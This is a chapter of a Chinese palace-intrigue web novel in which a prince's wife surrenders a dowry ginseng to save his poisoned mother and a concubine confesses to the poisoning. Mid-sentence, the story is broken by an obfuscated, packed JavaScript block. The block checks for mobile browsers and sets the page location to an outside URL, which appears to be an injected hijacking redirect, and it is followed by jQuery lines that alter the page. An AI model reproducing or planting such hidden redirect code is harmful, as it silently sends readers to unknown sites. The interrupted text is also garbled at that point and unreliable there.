他就知道她对他的母亲根本就不是实实在在地用心,眼下情况紧急,母亲性命垂危,她却连一根千年人参都舍不得拿出来!
“不可!”谢漪跪下,这才点头,“有的,王爷,不过是人参而已,妾自然是有的!”
她没想到萧策竟会做出搜她房间之事,只得妥协般地朝纤云使了个眼色,“还不快快去我寝房柜中将我陪嫁的那根百年人参拿来。”
纤云踌躇上前,“可那根人参是公子亲自上雪山冒着生命危险才给王妃取来的陪嫁之物……”
“快去!”谢漪催促。
纤云张了张嘴,本欲再说些什么,却见萧策如山般的威压朝她袭来,她只得妥协:“奴这便前去。”
纤云眼前闪过当初谢泫从极寒雪山上下来之时,满脸通红,原先如玉般光洁的手背上,满是青紫冻疮。
那时女郎心疼地簌簌掉眼泪,谢公子却为她拂去泪珠道:“上京女子出嫁,都要有一根人参,用作将来生孩子闯鬼门关时用。我的阿月不用生孩子,可阿兄却还是要为你寻一根世间最好的人参来,不能叫夫家看轻了你。”
公子那样艰难才得来的人参,就这样给萧老夫人用了吗……纤云胸口堵着一口气。
不多时,那根谢泫费了九牛二虎之力才从极寒高山取给谢漪用于救命的人参,便被递到了望太医手中。
望太医望着手中的人参,有些吃惊看向了谢漪
谢漪诚恳道:“医官大人,请问有什么不对吗?”
望太医摇摇头,“没什么不对。想必有了王妃这根千年人参的加持,老夫人很快便会醒来。”
望太医捧着人参进了萧老夫人房中。
不多时,外面的人就听到一阵急促的咳嗽声,闻太医从内室匆忙出来,大喜道:“禀王爷,望太医医术高超,已将老夫人救回来了!”
“那便好!赏!”萧策这才松了口气,侍从当即递上四袋雪花银。
母亲脱离了性命之忧,萧策却没忘了断肠草一事。
他策转而将目光从明光移到了谢漪身上,审视道:“王妃,这府中采买之事皆是由你负责,这人参何时被换成断肠草的,你可有数?”
谢漪退后两步,尚且还泛红的脸上露出几分不可置信之色,她忍着咳嗽道:“王爷,您疑心我?”
“不然呢?”萧策漆黑的眼眸落在她的身上,似有审视意味,“这府中一向由你执掌中馈,如今出了这样大的事,你莫不是还想推卸责任?”
谢漪闭了闭眼,这种不被相信的情景她竟毫不意外。
“王爷,我嫁进晋陵王府四年,上孝婆母,下掌姬妾,我若是真存了害人之心,又为何要将陪嫁的百年人参送与母亲?”
“好了,是不是你,一查便知。”萧策在府中眼线不少,查到这件事根本不难,只是时间问题。
如若真是谢漪,他定不会轻易饶恕她——
“王爷,是我干的!”原本安分跪着的姬妾中,忽然有一粉衣女子站了起来,她呜咽着抬起一张如花容颜,泪如雨下道:
“将老夫人的人参换成断肠草一事,是翠翠干的!”
萧策将目光缓缓移向那名姬妾,“是你……?”
他后院中姬妾足足有三十五位,无一不是战场上出生入死的同僚遗孀,亦或者是手足。
而这个名叫王翠翠的粉衣女子,则正是一名曾经救过他性命的副官之妹,那副官自幼孤苦,只与胞妹相依为命,为救萧策中了敌军一箭,临死前托孤,请求萧策在他死后替他照顾好这唯一的亲人。
因此,萧策便将他的妹妹纳作姬妾,旨在护她一生。
而如今……“我母亲待你不薄,你为何要——”
“王爷,老夫人之慈爱只对您与女郎,也只有您与女郎才觉得她慈爱!平日里她对我们这些姬妾动辄打骂,那日还怪我穿红裙过于妖艳,骂我是狐狸精,罚我在她房前跪了一夜!我一时气愤才——”
“够了!”萧策知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716073|173715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道他的母亲诚然刻薄了些,可到底都是穷苦人家出身,就算是刻薄,母亲也不至于如此磋磨王翠翠。
若此事换了旁人,他定是要将那人千刀万剐,可却偏偏是翠翠……
萧策脑海中不断浮现她兄长临死前握着自己的手,嘱咐他一定要对翠翠好的画面,不由得闭了闭眼。
“传本王口令,将王翠翠压回房中,禁闭处置!非本王赦令,不得外出!”
王翠翠很快便被押了出去,任凭她哭的梨花带雨,萧策都不曾理会她分毫。
两桩大事就这么解决了,他将眼神移向谢漪,眼底一片冰冷,“王妃御下不严,也当反思。这次的事,本王不想再经历第二次!”
萧策拂袖而去,只留几个心腹看好萧筝与萧老夫人。
不用说也知道他去哪儿了。
谢漪则是打着反省的名头,又回了弦月阁。
当然,临走前还不忘让纤云往“望闻问切”四位太医手中各自塞一块金饼。
“王妃这是……”四位太医面面相觑,“方才王爷已经赏过我们了……”
“王爷赏的是王爷那一份,我们女郎赏的是她的那一份。”纤云笑道:“今日之事有劳四位医官,且摒弃今日之不快,早些休息吧。”
“那尔等便多谢女郎了。”
谢漪朝他们点了点头。
弦月阁中的灯光很快暗了下去。
暖黄烛光下,谢漪盯着手中纸条上那短短一行刻厉行楷,微微出神。
白日喝的那碗求子汤,苦味尚且萦绕在她喉间。于情于理,谢漪都想尽早结束这一切。
许久后,听到身后门口的动静,她这才不紧不慢地将纸条凑至烛火处点燃,小小的纸条很快被火光蚕食殆尽,只留几片飞灰湮灭在空中。
“吱呀”一声,雕花木门被推开,一快一慢两道脚步声传来,婢女飞星带着一女子前来,二人“扑通”跪在了谢漪膝前。
“王妃,奴将人领来了。”